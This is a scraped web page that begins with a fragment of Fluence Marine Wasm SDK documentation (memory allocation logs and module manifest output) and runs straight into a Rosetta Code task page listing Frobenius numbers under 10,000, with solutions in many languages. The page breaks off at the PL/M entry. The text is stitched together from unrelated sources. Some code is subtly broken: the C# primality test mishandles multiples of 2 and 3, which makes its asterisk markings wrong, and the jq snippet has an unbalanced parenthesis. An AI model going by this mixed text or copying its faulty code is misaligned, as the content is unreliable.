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[greeting] sdk.set_result_size: 8
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[greeting] sdk.get_result_ptr, returns 1114240
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[greeting] sdk.get_result_size, returns 8
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[greeting] sdk.get_result_ptr, returns 1114240
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[greeting] sdk.get_result_size, returns 8
15
[greeting] sdk.deallocate: 0x110080 8
16
17
result: String("Hi, user")
18
elapsed time: 222.675µs
Copied!
The most important information these logs relates to the allocate/deallocate function calls. The sdk.allocate: 4 line corresponds to passing the 4-byte user string to the Wasm module, with the memory allocated inside the module and the string is copied there. Whereas sdk.deallocate: 0x110080 8 refers to passing the 8-byte resulting string Hi, user to the host side. Since all arguments and results are passed by value, deallocate is called to delete unnecessary memory inside the Wasm module.
Module Manifest
The module_manifest! macro embeds the Interface Type (IT), SDK and Rust project version as well as additional project and build information into Wasm module. For the macro to be usable, it needs to be imported and initialized in the main.rs file:
1
// main.rs
2
use fluence::marine;
3
use fluence::module_manifest; // import manifest macro
4
5
module_manifest!(); // initialize macro
6
7
fn main() {}
8
9
#[marine]
10
fn some_function() {}
11
}
Copied!
Using the Marine CLI, we can inspect a module's manifest with marine info:
1
mbp16~/localdev/struct-exp(main|) % marine info -i artifacts/*.wasm
2
it version: 0.20.1
3
sdk version: 0.6.0
4
authors: The Fluence Team
5
version: 0.1.0
6
description: foo-wasm, a Marine wasi module
7
repository:
8
build time: 2021-06-11 21:08:59.855352 +00:00 UTC
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Last modified 8d ago
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Contents
API
Features
|
__label__pos
| 0.975576 |
Frobenius numbers
From Rosetta Code
(Redirected from Frobenius primes)
Frobenius numbers is a draft programming task. It is not yet considered ready to be promoted as a complete task, for reasons that should be found in its talk page.
Task
Find and display here on this page the Frobenius numbers that are < 10,000.
The series is defined by:
FrobeniusNumber(n) = prime(n) * prime(n+1) - prime(n) - prime(n+1)
where:
prime(1) = 2
prime(2) = 3
prime(3) = 5
prime(4) = 7
•
•
•
11l[edit]
Translation of: Python
F isPrime(v)
I v <= 1
R 0B
I v < 4
R 1B
I v % 2 == 0
R 0B
I v < 9
R 1B
I v % 3 == 0
R 0B
E
V r = round(pow(v, 0.5))
V f = 5
L f <= r
I v % f == 0 | v % (f + 2) == 0
R 0B
f += 6
R 1B
V pn = 2
V n = 0
L(i) (3..).step(2)
I isPrime(i)
n++
V f = (pn * i) - pn - i
I f > 10000
L.break
print(n‘ => ’f)
pn = i
Output:
1 => 1
2 => 7
3 => 23
4 => 59
5 => 119
6 => 191
7 => 287
8 => 395
9 => 615
10 => 839
11 => 1079
12 => 1439
13 => 1679
14 => 1931
15 => 2391
16 => 3015
17 => 3479
18 => 3959
19 => 4619
20 => 5039
21 => 5615
22 => 6395
23 => 7215
24 => 8447
25 => 9599
Action![edit]
INCLUDE "H6:SIEVE.ACT"
INT FUNC NextPrime(INT p BYTE ARRAY primes)
DO
p==+1
UNTIL primes(p)
OD
RETURN (p)
PROC Main()
DEFINE MAXNUM="200"
BYTE ARRAY primes(MAXNUM+1)
INT p1,p2,f
Put(125) PutE() ;clear the screen
Sieve(primes,MAXNUM+1)
p2=2
DO
p1=p2
p2=NextPrime(p2,primes)
f=p1*p2-p1-p2
IF f<10000 THEN
PrintI(f) Put(32)
ELSE
EXIT
FI
OD
RETURN
Output:
Screenshot from Atari 8-bit computer
1 7 23 59 119 191 287 395 615 839 1079 1439 1679 1931 2391 3015 3479 3959 4619 5039 5615 6395 7215 8447 9599
ALGOL 68[edit]
BEGIN # find some Frobenius Numbers: #
# Frobenius(n) = ( prime(n) * prime(n+1) ) - prime(n) - prime(n+1) #
# reurns a list of primes up to n #
PROC prime list = ( INT n )[]INT:
BEGIN
# sieve the primes to n #
INT no = 0, yes = 1;
[ 1 : n ]INT p;
p[ 1 ] := no; p[ 2 ] := yes;
FOR i FROM 3 BY 2 TO n DO p[ i ] := yes OD;
FOR i FROM 4 BY 2 TO n DO p[ i ] := no OD;
FOR i FROM 3 BY 2 TO ENTIER sqrt( n ) DO
IF p[ i ] = yes THEN FOR s FROM i * i BY i + i TO n DO p[ s ] := no OD FI
OD;
# replace the sieve with a list #
INT p pos := 0;
FOR i TO n DO IF p[ i ] = yes THEN p[ p pos +:= 1 ] := i FI OD;
p[ 1 : p pos ]
END # prime list # ;
# show Frobenius numbers up to 10 000 #
INT max number = 10 000;
[]INT prime = prime list( max number );
FOR i TO max number - 1
WHILE INT frobenius number = ( ( prime[ i ] * prime[ i + 1 ] ) - prime[ i ] ) - prime[ i + 1 ];
frobenius number < max number
DO
print( ( " ", whole( frobenius number, 0 ) ) )
OD
END
Output:
1 7 23 59 119 191 287 395 615 839 1079 1439 1679 1931 2391 3015 3479 3959 4619 5039 5615 6395 7215 8447 9599
APL[edit]
Works with: Dyalog APL
(¯1(⊢×1)-⊢+1)(((/⍨)(~⊢∊∘.×))1↓⍳)(1+*.5) 10000
Output:
1 7 23 59 119 191 287 395 615 839 1079 1439 1679 1931 2391 3015 3479 3959 4619 5039 5615 6395 7215 8447 9599
AppleScript[edit]
on isPrime(n)
if (n < 4) then return (n > 1)
if ((n mod 2 is 0) or (n mod 3 is 0)) then return false
repeat with i from 5 to (n ^ 0.5) div 1 by 6
if ((n mod i is 0) or (n mod (i + 2) is 0)) then return false
end repeat
return true
end isPrime
on Frobenii(max)
script o
property frobs : {}
end script
set p to 2
set n to 3
repeat
if (isPrime(n)) then
set frob to p * n - p - n
if (frob > max) then exit repeat
set end of o's frobs to frob
set p to n
end if
set n to n + 2
end repeat
return o's frobs
end Frobenii
Frobenii(9999)
Output:
{1, 7, 23, 59, 119, 191, 287, 395, 615, 839, 1079, 1439, 1679, 1931, 2391, 3015, 3479, 3959, 4619, 5039, 5615, 6395, 7215, 8447, 9599}
Arturo[edit]
primes: select 0..10000 => prime?
frobenius: function [n] -> sub sub primes\[n] * primes\[n+1] primes\[n] primes\[n+1]
frob: 0
lst: new []
j: new 0
while [frob < 10000] [
'lst ++ frob: <= frobenius j
inc 'j
]
loop split.every:10 chop lst 'a ->
print map a => [pad to :string & 5]
Output:
1 7 23 59 119 191 287 395 615 839
1079 1439 1679 1931 2391 3015 3479 3959 4619 5039
5615 6395 7215 8447 9599
AutoHotkey[edit]
n := 0, i := 1, pn := 2
loop {
if isprime(i+=2) {
if ((f := pn*i - pn - i) > 10000)
break
result .= SubStr(" " f, -3) . (Mod(++n, 5) ? "`t" : "`n")
pn := i
}
}
MsgBox % result
return
isPrime(n, p=1) {
if (n < 2)
return false
if !Mod(n, 2)
return (n = 2)
if !Mod(n, 3)
return (n = 3)
while ((p+=4) <= Sqrt(n))
if !Mod(n, p)
return false
else if !Mod(n, p+=2)
return false
return true
}
Output:
1 7 23 59 119
191 287 395 615 839
1079 1439 1679 1931 2391
3015 3479 3959 4619 5039
5615 6395 7215 8447 9599
AWK[edit]
# syntax: GAWK -f FROBENIUS_NUMBERS.AWK
# converted from FreeBASIC
BEGIN {
start = 3
stop = 9999
pn = 2
for (i=start; i<=stop; i++) {
if (is_prime(i)) {
f = pn * i - pn - i
if (f > stop) { break }
printf("%4d%1s",f,++count%10?"":"\n")
pn = i
}
}
printf("\nFrobenius numbers %d-%d: %d\n",start,stop,count)
exit(0)
}
function is_prime(x, i) {
if (x <= 1) {
return(0)
}
for (i=2; i<=int(sqrt(x)); i++) {
if (x % i == 0) {
return(0)
}
}
return(1)
}
Output:
1 7 23 59 119 191 287 395 615 839
1079 1439 1679 1931 2391 3015 3479 3959 4619 5039
5615 6395 7215 8447 9599
Frobenius numbers 3-9999: 25
BASIC[edit]
10 DEFINT A-Z
20 LM = 10000
30 M = SQR(LM)+1
40 DIM P(M)
50 FOR I=2 TO SQR(M)
60 IF P(I)=0 THEN FOR J=I+I TO M STEP I: P(J)=1: NEXT J
70 NEXT I
80 FOR I=2 TO M
90 IF P(I)=0 THEN P(C)=I: C=C+1
100 NEXT I
110 FOR N=0 TO C-2
120 PRINT P(N)*P(N+1)-P(N)-P(N+1),
130 NEXT N
Output:
1 7 23 59 119
191 287 395 615 839
1079 1439 1679 1931 2391
3015 3479 3959 4619 5039
5615 6395 7215 8447 9599
BASIC256[edit]
n = 0
lim = 10000
k = sqr(lim) + 1
dim P(k)
for i = 2 to sqr(k)
if P[i] = 0 then
for j = i + i to k step i
P[j] = 1
next j
end if
next i
for i = 2 to k-1
if P[i] = 0 then P[n] = i: n += 1
next i
for i = 0 to n - 2
print i+1; " => "; P[i] * P[i + 1] - P[i] - P[i + 1]
next i
end
BCPL[edit]
get "libhdr"
manifest $( limit = 10000 $)
// Integer square root
let sqrt(s) =
s <= 1 -> 1,
valof
$( let x0 = s >> 1
let x1 = (x0 + s/x0) >> 1
while x1 < x0
$( x0 := x1
x1 := (x0 + s/x0) >> 1
$)
resultis x0
$)
// Find primes up to n, store at v.
// Returns amount of primes found
let sieve(v, n) = valof
$( let count = 0
// Sieve the primes
for i=2 to n do v!i := true
for i=2 to sqrt(n)
if v!i then
$( let j = i+i
while j <= n
$( v!j := false
j := j + i
$)
$)
// Filter the primes
for i=2 to n
if v!i then
$( v!count := i
count := count + 1
$)
resultis count
$)
// Frobenius number given prime array
let frob(p, n) = p!n * p!(n+1) - p!n - p!(n+1)
let start() be
$( // frob(n) is always less than p(n+1)^2
// sieving up to the square root of the limit is enough,
// though whe need one extra since p(n+1) is necessary
let primes = getvec(sqrt(limit)+1)
let nprimes = sieve(primes, sqrt(limit)+1)
// similarly, having found that many primes, we generate
// one fewer Frobenius number
for n = 0 to nprimes-2 do
writef("%N*N", frob(primes, n))
freevec(primes)
$)
Output:
1
7
23
59
119
191
287
395
615
839
1079
1439
1679
1931
2391
3015
3479
3959
4619
5039
5615
6395
7215
8447
9599
C[edit]
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#define LIMIT 10000
/* Generate primes up to N */
unsigned int sieve(unsigned int n, unsigned int **list) {
unsigned char *sieve = calloc(n+1, 1);
unsigned int i, j, max = 0;
for (i = 2; i*i <= n; i++)
if (!sieve[i])
for (j = i+i; j <= n; j += i)
sieve[j] = 1;
for (i = 2; i <= n; i++) max += !sieve[i];
*list = malloc(max * sizeof(unsigned int));
for (i = 0, j = 2; j <= n; j++)
if (!sieve[j]) (*list)[i++] = j;
free(sieve);
return i;
}
/* Frobenius number */
unsigned int frob(unsigned const int *primes, unsigned int n) {
return primes[n] * primes[n+1] - primes[n] - primes[n+1];
}
int main() {
/* Same trick as in BCPL example. frob(n) < primes(n+1)^2,
so we need primes up to sqrt(limit)+1. */
unsigned int *primes;
unsigned int amount = sieve(sqrt(LIMIT)+1, &primes);
unsigned int i;
for (i=0; i<amount-1; i++) printf("%d\n", frob(primes, i));
free(primes);
return 0;
}
Output:
1
7
23
59
119
191
287
395
615
839
1079
1439
1679
1931
2391
3015
3479
3959
4619
5039
5615
6395
7215
8447
9599
C#[edit]
Asterisks mark the non-primes among the numbers.
using System.Collections.Generic; using System.Linq; using static System.Console; using static System.Math;
class Program {
static bool ispr(int x) { int lim = (int)Sqrt((double)x);
if (x < 2) return false; if ((x % 3) == 0) return x == 0; bool odd = false;
for (int d = 5; d <= lim; d += (odd = !odd) ? 2 : 4) {
if (x % d == 0) return false; } return true; }
static void Main() {
int c = 0, d = 0, f, lim = 1000000, l2 = lim / 100; var Frob = PG.Primes((int)Sqrt(lim) + 1).ToArray();
for (int n = 0, m = 1; m < Frob.Length; n = m++) {
if ((f = Frob[n] * Frob[m] - Frob[n] - Frob[m]) < l2) d++;
Write("{0,7:n0}{2} {1}", f , ++c % 10 == 0 ? "\n" : "", ispr(f) ? " " : "*"); }
Write("\n\nCalculated {0} Frobenius numbers of consecutive primes under {1:n0}, " +
"of which {2} were under {3:n0}", c, lim, d, l2); } }
class PG { public static IEnumerable<int> Primes(int lim) {
var flags = new bool[lim + 1]; int j = 3; yield return 2;
for (int d = 8, sq = 9; sq <= lim; j += 2, sq += d += 8)
if (!flags[j]) { yield return j;
for (int k = sq, i = j << 1; k <= lim; k += i) flags[k] = true; }
for (; j <= lim; j += 2) if (!flags[j]) yield return j; } }
Output:
1* 7 23 59 119* 191 287* 395* 615* 839
1,079* 1,439 1,679* 1,931 2,391* 3,015* 3,479* 3,959* 4,619* 5,039
5,615* 6,395* 7,215* 8,447 9,599* 10,199* 10,811* 11,447 12,095* 14,111*
16,379* 17,679* 18,767* 20,423* 22,199* 23,399 25,271* 26,891 28,551* 30,615*
32,039* 34,199* 36,479 37,631* 38,807* 41,579 46,619 50,171* 51,527* 52,895*
55,215* 57,119 59,999 63,999* 67,071* 70,215* 72,359* 74,519* 77,279 78,959*
82,343* 89,351* 94,859* 96,719* 98,591* 104,279* 110,879 116,255* 120,407* 122,495*
126,015* 131,027* 136,151* 140,615* 144,395* 148,215* 153,647* 158,399* 163,199 170,543*
175,559* 180,599* 185,759* 189,215* 193,595* 198,015* 204,287* 209,759* 212,519* 215,291*
222,747* 232,307 238,139* 244,019* 249,995* 255,015* 264,159* 271,439* 281,879* 294,839*
303,575* 312,471* 319,215* 323,759 328,319* 337,535* 346,911* 354,015* 358,799* 363,599*
370,871 376,991* 380,687* 389,339* 403,199* 410,879* 414,731 421,191* 429,015* 434,279*
443,519* 454,271* 461,031* 470,579 482,999* 495,599* 508,343* 521,267 531,431* 540,215*
547,595* 556,499* 566,999 574,559* 583,679* 592,895* 606,791 625,655* 643,167* 654,479*
664,199 674,039* 678,971 683,927* 693,863* 713,975* 729,311* 734,447* 739,595* 755,111*
770,879* 776,159 781,451* 802,715* 824,459 835,379 851,903* 868,607* 879,839 889,239*
900,591* 919,631 937,019* 946,719* 958,431* 972,179* 986,039*
Calculated 167 Frobenius numbers of consecutive primes under 1,000,000, of which 25 were under 10,000
C++[edit]
Library: Primesieve
#include <cstdint>
#include <iomanip>
#include <iostream>
#include <primesieve.hpp>
bool is_prime(uint64_t n) {
if (n < 2)
return false;
if (n % 2 == 0)
return n == 2;
if (n % 3 == 0)
return n == 3;
for (uint64_t p = 5; p * p <= n; p += 4) {
if (n % p == 0)
return false;
p += 2;
if (n % p == 0)
return false;
}
return true;
}
int main() {
const uint64_t limit = 1000000;
std::cout << "Frobenius numbers less than " << limit
<< " (asterisk marks primes):\n";
primesieve::iterator it;
uint64_t prime1 = it.next_prime();
for (int count = 1;; ++count) {
uint64_t prime2 = it.next_prime();
uint64_t frobenius = prime1 * prime2 - prime1 - prime2;
if (frobenius >= limit)
break;
std::cout << std::setw(6) << frobenius
<< (is_prime(frobenius) ? '*' : ' ')
<< (count % 10 == 0 ? '\n' : ' ');
prime1 = prime2;
}
std::cout << '\n';
}
Output:
Frobenius numbers less than 1000000 (asterisk marks primes):
1 7* 23* 59* 119 191* 287 395 615 839*
1079 1439* 1679 1931* 2391 3015 3479 3959 4619 5039*
5615 6395 7215 8447* 9599 10199 10811 11447* 12095 14111
16379 17679 18767 20423 22199 23399* 25271 26891* 28551 30615
32039 34199 36479* 37631 38807 41579* 46619* 50171 51527 52895
55215 57119* 59999* 63999 67071 70215 72359 74519 77279* 78959
82343 89351 94859 96719 98591 104279 110879* 116255 120407 122495
126015 131027 136151 140615 144395 148215 153647 158399 163199* 170543
175559 180599 185759 189215 193595 198015 204287 209759 212519 215291
222747 232307* 238139 244019 249995 255015 264159 271439 281879 294839
303575 312471 319215 323759* 328319 337535 346911 354015 358799 363599
370871* 376991 380687 389339 403199 410879 414731* 421191 429015 434279
443519 454271 461031 470579* 482999 495599 508343 521267* 531431 540215
547595 556499 566999* 574559 583679 592895 606791* 625655 643167 654479
664199* 674039 678971* 683927 693863 713975 729311 734447 739595 755111
770879 776159* 781451 802715 824459* 835379* 851903 868607 879839* 889239
900591 919631* 937019 946719 958431 972179 986039
Cowgol[edit]
include "cowgol.coh";
const LIMIT := 10000;
sub sqrt(n: intptr): (x0: intptr) is
var x1: intptr;
if n <= 1 then
x0 := 1;
else
x0 := n >> 1;
x1 := (x0 + n/x0) >> 1;
while x1 < x0 loop
x0 := x1;
x1 := (x0 + n/x0) >> 1;
end loop;
end if;
end sub;
sub sieve(max: intptr, buf: [uint16]): (count: uint16) is
var sbuf := buf as [uint8] + max;
MemZero(sbuf, max);
var i: intptr := 2;
while i*i <= max loop
if [sbuf+i] == 0 then
var j := i+i;
while j <= max loop
[sbuf+j] := 1;
j := j+i;
end loop;
end if;
i := i+1;
end loop;
count := 0;
i := 2;
while i <= max loop
if [sbuf+i] == 0 then
[buf] := i as uint16;
buf := @next buf;
count := count + 1;
end if;
i := i + 1;
end loop;
end sub;
var primes: uint16[LIMIT + 1];
var nprimes := sieve(sqrt(LIMIT)+1, &primes[0]);
var n: uint16 := 0;
while n < nprimes-1 loop
print_i16(primes[n] * primes[n+1] - primes[n] - primes[n+1]);
print_nl();
n := n + 1;
end loop;
Output:
1
7
23
59
119
191
287
395
615
839
1079
1439
1679
1931
2391
3015
3479
3959
4619
5039
5615
6395
7215
8447
9599
Delphi[edit]
Works with: Delphi version 6.0
function IsPrime(N: integer): boolean;
{Optimised prime test - about 40% faster than the naive approach}
var I,Stop: integer;
begin
if (N = 2) or (N=3) then Result:=true
else if (n <= 1) or ((n mod 2) = 0) or ((n mod 3) = 0) then Result:= false
else
begin
I:=5;
Stop:=Trunc(sqrt(N));
Result:=False;
while I<=Stop do
begin
if ((N mod I) = 0) or ((N mod (i + 2)) = 0) then exit;
Inc(I,6);
end;
Result:=True;
end;
end;
function GetNextPrime(Start: integer): integer;
{Get the next prime number after Start}
begin
repeat Inc(Start)
until IsPrime(Start);
Result:=Start;
end;
procedure ShowFrobeniusNumbers(Memo: TMemo);
var N,N1,FN,Cnt: integer;
begin
N:=2;
Cnt:=0;
while true do
begin
Inc(Cnt);
N1:=GetNextPrime(N);
FN:=N * N1 - N - N1;
N:=N1;
if FN>10000 then break;
Memo.Lines.Add(Format('%2d = %5d',[Cnt,FN]));
end;
end;
Output:
1 = 1
2 = 7
3 = 23
4 = 59
5 = 119
6 = 191
7 = 287
8 = 395
9 = 615
10 = 839
11 = 1079
12 = 1439
13 = 1679
14 = 1931
15 = 2391
16 = 3015
17 = 3479
18 = 3959
19 = 4619
20 = 5039
21 = 5615
22 = 6395
23 = 7215
24 = 8447
25 = 9599
Factor[edit]
Works with: Factor version 0.99 2021-02-05
USING: io kernel math math.primes prettyprint ;
"Frobenius numbers < 10,000:" print
2 3 [
[ nip dup next-prime ] [ * ] [ [ - ] dip - ] 2tri
dup 10,000 <
] [ . ] while 3drop
Output:
Frobenius numbers < 10,000:
1
7
23
59
119
191
287
395
615
839
1079
1439
1679
1931
2391
3015
3479
3959
4619
5039
5615
6395
7215
8447
9599
Fermat[edit]
Function Frobenius(n)=Prime(n)*Prime(n+1)-Prime(n)-Prime(n+1).
for n = 1 to 25 do !!Frobenius(n) od
Output:
1
7
23
59
119
191
287
395
615
839
1079
1439
1679
1931
2391
3015
3479
3959
4619
5039
5615
6395
7215
8447
9599
FreeBASIC[edit]
#include "isprime.bas"
dim as integer pn=2, n=0, f
for i as integer = 3 to 9999 step 2
if isprime(i) then
n += 1
f = pn*i - pn - i
if f > 10000 then end
print n, f
pn = i
end if
next i
Output:
1 1
2 7
3 23
4 59
5 119
6 191
7 287
8 395
9 615
10 839
11 1079
12 1439
13 1679
14 1931
15 2391
16 3015
17 3479
18 3959
19 4619
20 5039
21 5615
22 6395
23 7215
24 8447
25 9599
FutureBasic[edit]
include "NSLog.incl"
local fn IsPrime( n as long ) as BOOL
long i
BOOL result = YES
if ( n < 2 ) then result = NO : exit fn
for i = 2 to n + 1
if ( i * i <= n ) and ( n mod i == 0 )
result = NO : exit fn
end if
next
end fn = result
void local fn ListFrobenius( upperLimit as long )
long i, pn = 2, n = 0, f, r = 0
NSLog( @"Frobenius numbers through %ld:", upperLimit )
for i = 3 to upperLimit - 1 step 2
if ( fn IsPrime(i) )
n++
f = pn * i - pn - i
if ( f > upperLimit ) then break
NSLog( @"%7ld\b", f )
r++
if r mod 5 == 0 then NSLog( @"" )
pn = i
end if
next
end fn
fn ListFrobenius( 100000 )
HandleEvents
Output:
Frobenius numbers through 100000:
1 7 23 59 119
191 287 395 615 839
1079 1439 1679 1931 2391
3015 3479 3959 4619 5039
5615 6395 7215 8447 9599
10199 10811 11447 12095 14111
16379 17679 18767 20423 22199
23399 25271 26891 28551 30615
32039 34199 36479 37631 38807
41579 46619 50171 51527 52895
55215 57119 59999 63999 67071
70215 72359 74519 77279 78959
82343 89351 94859 96719 98591
Go[edit]
Translation of: Wren
Library: Go-rcu
package main
import (
"fmt"
"rcu"
)
func main() {
primes := rcu.Primes(101)
var frobenius []int
for i := 0; i < len(primes)-1; i++ {
frob := primes[i]*primes[i+1] - primes[i] - primes[i+1]
if frob >= 10000 {
break
}
frobenius = append(frobenius, frob)
}
fmt.Println("Frobenius numbers under 10,000:")
for i, n := range frobenius {
fmt.Printf("%5s ", rcu.Commatize(n))
if (i+1)%9 == 0 {
fmt.Println()
}
}
fmt.Printf("\n\n%d such numbers found.\n", len(frobenius))
}
Output:
Frobenius numbers under 10,000:
1 7 23 59 119 191 287 395 615
839 1,079 1,439 1,679 1,931 2,391 3,015 3,479 3,959
4,619 5,039 5,615 6,395 7,215 8,447 9,599
25 such numbers found.
Haskell[edit]
primes = 2 : sieve [3,5..]
where sieve (x:xs) = x : sieve (filter (\y -> y `mod` x /= 0) xs)
frobenius = zipWith (\a b -> a*b - a - b) primes (tail primes)
λ> takeWhile (< 10000) frobenius
[1,7,23,59,119,191,287,395,615,839,1079,1439,1679,1931,2391,3015,3479,3959,4619,5039,5615,6395,7215,8447,9599]
J[edit]
frob =: (*&p: - +&p:) >:
echo frob i. 25
(Note that frob counts prime numbers starting from 0 (which gives 2), so for some contexts the function to calculate frobenius numbers would be frob@<:.)
Output:
1 7 23 59 119 191 287 395 615 839 1079 1439 1679 1931 2391 3015 3479 3959 4619 5039 5615 6395 7215 8447 9599
Java[edit]
Uses the PrimeGenerator class from Extensible prime generator#Java.
public class Frobenius {
public static void main(String[] args) {
final int limit = 1000000;
System.out.printf("Frobenius numbers less than %d (asterisk marks primes):\n", limit);
PrimeGenerator primeGen = new PrimeGenerator(1000, 100000);
int prime1 = primeGen.nextPrime();
for (int count = 1; ; ++count) {
int prime2 = primeGen.nextPrime();
int frobenius = prime1 * prime2 - prime1 - prime2;
if (frobenius >= limit)
break;
System.out.printf("%6d%c%c", frobenius,
isPrime(frobenius) ? '*' : ' ',
count % 10 == 0 ? '\n' : ' ');
prime1 = prime2;
}
System.out.println();
}
private static boolean isPrime(int n) {
if (n < 2)
return false;
if (n % 2 == 0)
return n == 2;
if (n % 3 == 0)
return n == 3;
for (int p = 5; p * p <= n; p += 4) {
if (n % p == 0)
return false;
p += 2;
if (n % p == 0)
return false;
}
return true;
}
}
Output:
Frobenius numbers less than 1000000 (asterisk marks primes):
1 7* 23* 59* 119 191* 287 395 615 839*
1079 1439* 1679 1931* 2391 3015 3479 3959 4619 5039*
5615 6395 7215 8447* 9599 10199 10811 11447* 12095 14111
16379 17679 18767 20423 22199 23399* 25271 26891* 28551 30615
32039 34199 36479* 37631 38807 41579* 46619* 50171 51527 52895
55215 57119* 59999* 63999 67071 70215 72359 74519 77279* 78959
82343 89351 94859 96719 98591 104279 110879* 116255 120407 122495
126015 131027 136151 140615 144395 148215 153647 158399 163199* 170543
175559 180599 185759 189215 193595 198015 204287 209759 212519 215291
222747 232307* 238139 244019 249995 255015 264159 271439 281879 294839
303575 312471 319215 323759* 328319 337535 346911 354015 358799 363599
370871* 376991 380687 389339 403199 410879 414731* 421191 429015 434279
443519 454271 461031 470579* 482999 495599 508343 521267* 531431 540215
547595 556499 566999* 574559 583679 592895 606791* 625655 643167 654479
664199* 674039 678971* 683927 693863 713975 729311 734447 739595 755111
770879 776159* 781451 802715 824459* 835379* 851903 868607 879839* 889239
900591 919631* 937019 946719 958431 972179 986039
jq[edit]
Works with: jq
Works with gojq, the Go implementation of jq
The solution offered here is based on a function that can in principle generate an unbounded stream of Frobenius numbers without relying on the precomputation or storage of an array of primes except as may be used by `is_prime`.
The following is also designed to take advantage of gojq's support for unbounded-precision integer arithmetic.
See e.g. Erdős-primes#jq for a suitable implementation of `is_prime`.
# Generate a stream of Frobenius numbers up to an including `.`;
# specify `null` or `infinite` to generate an unbounded stream.
def frobenius:
. as $limit
| label $out
| foreach (range(3;infinite;2) | select(is_prime)) as $p ({prev: 2};
(.prev * $p - .prev - $p) as $frob
| if ($limit != null and $frob > $limit then break $out
else .frob = $frob
end
| .prev = $p;
.frob);
9999 | frobenius
Output:
1
7
23
59
119
191
287
395
615
839
1079
1439
1679
1931
2391
3015
3479
3959
4619
5039
5615
6395
7215
8447
9599
Julia[edit]
using Primes
const primeslt10k = primes(10000)
frobenius(n) = begin (x, y) = primeslt10k[n:n+1]; x * y - x - y end
function frobeniuslessthan(maxnum)
frobpairs = Pair{Int, Bool}[]
for n in 1:maxnum
frob = frobenius(n)
frob > maxnum && break
push!(frobpairs, Pair(frob, isprime(frob)))
end
return frobpairs
end
function testfrobenius()
println("Frobenius numbers less than 1,000,000 (an asterisk marks the prime ones).")
frobpairs = frobeniuslessthan(1_000_000)
for (i, p) in enumerate(frobpairs)
print(rpad(string(p[1]) * (p[2] ? "*" : ""), 8), i % 10 == 0 ? "\n" : "")
end
end
testfrobenius()
Output:
Frobenius numbers less than 1,000,000 (an asterisk marks the prime ones).
1 7* 23* 59* 119 191* 287 395 615 839*
1079 1439* 1679 1931* 2391 3015 3479 3959 4619 5039*
5615 6395 7215 8447* 9599 10199 10811 11447* 12095 14111
16379 17679 18767 20423 22199 23399* 25271 26891* 28551 30615
32039 34199 36479* 37631 38807 41579* 46619* 50171 51527 52895
55215 57119* 59999* 63999 67071 70215 72359 74519 77279* 78959
82343 89351 94859 96719 98591 104279 110879* 116255 120407 122495
126015 131027 136151 140615 144395 148215 153647 158399 163199* 170543
175559 180599 185759 189215 193595 198015 204287 209759 212519 215291
222747 232307* 238139 244019 249995 255015 264159 271439 281879 294839
303575 312471 319215 323759* 328319 337535 346911 354015 358799 363599
370871* 376991 380687 389339 403199 410879 414731* 421191 429015 434279
443519 454271 461031 470579* 482999 495599 508343 521267* 531431 540215
547595 556499 566999* 574559 583679 592895 606791* 625655 643167 654479
664199* 674039 678971* 683927 693863 713975 729311 734447 739595 755111
770879 776159* 781451 802715 824459* 835379* 851903 868607 879839* 889239
900591 919631* 937019 946719 958431 972179 986039
Mathematica/Wolfram Language[edit]
ClearAll[fn]
fn[n_] := Prime[n] Prime[n + 1] - Prime[n] - Prime[n + 1]
a = -1;
i = 1;
res = {};
While[a < 10^4,
a = fn[i];
i++;
If[a < 10^4, AppendTo[res, a]]
]
res
Output:
{1,7,23,59,119,191,287,395,615,839,1079,1439,1679,1931,2391,3015,3479,3959,4619,5039,5615,6395,7215,8447,9599}
Nim[edit]
As I like iterators, I used one for (odd) primes and one for Frobenius numbers. Of course, there are other ways to proceed.
import sequtils, strutils
func isOddPrime(n: Positive): bool =
if n mod 3 == 0: return n == 3
var d = 5
while d * d <= n:
if n mod d == 0: return false
inc d, 2
if n mod d == 0: return false
inc d, 4
result = true
iterator oddPrimes(): int =
yield 3
var n = 5
while true:
if n.isOddPrime: yield n
inc n, 2
if n.isOddPrime: yield n
inc n, 4
iterator frobenius(lim: Positive): int =
var p1 = 2
for p2 in oddPrimes():
let f = p1 * p2 - p1 - p2
if f < lim: yield f
else: break
p1 = p2
const N = 10_000
var result = toSeq(frobenius(10_000))
echo "Found $1 Frobenius numbers less than $2:".format(result.len, N)
echo result.join(" ")
Output:
Found 25 Frobenius numbers less than 10000:
1 7 23 59 119 191 287 395 615 839 1079 1439 1679 1931 2391 3015 3479 3959 4619 5039 5615 6395 7215 8447 9599
Perl[edit]
Library: ntheory
use strict;
use warnings;
use feature 'say';
use ntheory <nth_prime primes>;
use List::MoreUtils qw(slide);
# build adding one term at a time
my(@F,$n);
do { ++$n and push @F, nth_prime($n) * nth_prime($n+1) - (nth_prime($n) + nth_prime($n+1)) } until $F[-1] >= 10000;
say "$#F matching numbers:\n" . join(' ', @F[0 .. $#F-1]);
# process a list with a 2-wide sliding window
my $limit = 10_000;
say "\n" . join ' ', grep { $_ < $limit } slide { $a * $b - $a - $b } @{primes($limit)};
Output:
25 matching numbers:
1 7 23 59 119 191 287 395 615 839 1079 1439 1679 1931 2391 3015 3479 3959 4619 5039 5615 6395 7215 8447 9599
1 7 23 59 119 191 287 395 615 839 1079 1439 1679 1931 2391 3015 3479 3959 4619 5039 5615 6395 7215 8447 9599
Phix[edit]
for n=4 to 6 by 2 do
integer lim = power(10,n), i=1
sequence frob = {}
while true do
integer p = get_prime(i),
q = get_prime(i+1),
frobenius = p*q-p-q
if frobenius > lim then exit end if
frob &= frobenius
i += 1
end while
frob = apply(true,sprintf,{{"%d"},frob})
printf(1,"%3d Frobenius numbers under %,9d: %s\n",
{length(frob),lim,join(shorten(frob,"",5),", ")})
end for
Output:
25 Frobenius numbers under 10,000: 1, 7, 23, 59, 119, ..., 5615, 6395, 7215, 8447, 9599
167 Frobenius numbers under 1,000,000: 1, 7, 23, 59, 119, ..., 937019, 946719, 958431, 972179, 986039
Python[edit]
#!/usr/bin/python
def isPrime(v):
if v <= 1:
return False
if v < 4:
return True
if v % 2 == 0:
return False
if v < 9:
return True
if v % 3 == 0:
return False
else:
r = round(pow(v,0.5))
f = 5
while f <= r:
if v % f == 0 or v % (f + 2) == 0:
return False
f += 6
return True
pn = 2
n = 0
for i in range(3, 9999, 2):
if isPrime(i):
n += 1
f = (pn * i) - pn - i
if f > 10000:
break
print (n, ' => ', f)
pn = i
PL/M[edit]
100H:
BDOS: PROCEDURE (FN, ARG); DECLARE FN BYTE, ARG ADDRESS; GO TO 5; END BDOS;
EXIT: PROCEDURE; CALL BDOS(0,0); END EXIT;
